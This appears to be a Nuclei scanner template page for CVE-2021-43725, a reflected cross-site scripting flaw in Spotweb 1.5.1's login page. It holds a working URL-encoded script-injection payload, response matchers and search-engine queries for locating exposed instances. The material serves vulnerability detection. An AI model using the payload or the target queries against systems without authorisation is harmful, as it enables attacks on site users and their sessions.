Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)

ID: CVE-2021-43725

Severity: medium

Author: theamanrawat

Tags: cve,cve2021,xss,spotweb,unauth,spotweb_project

Description

There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.

YAML Source

id: CVE-2021-43725

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/718
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43725
    - https://github.com/spotweb/spotweb/commit/2bfa001689aae96009688a193c64478647ba45a1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43725
    cwe-id: CWE-79
    epss-score: 0.00163
    epss-percentile: 0.52918
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve,cve2021,xss,spotweb,unauth,spotweb_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>'
          - 'name="data[performredirect]'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200b624bca3fde7dbabc76d08e234776473cc89c67b80a2e54d039fd15ec0667cc022100f3e51af75470afe3537b8de6a432f788fd4f627c6f92ee146aee8e25cafd9c94:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43725.yaml"

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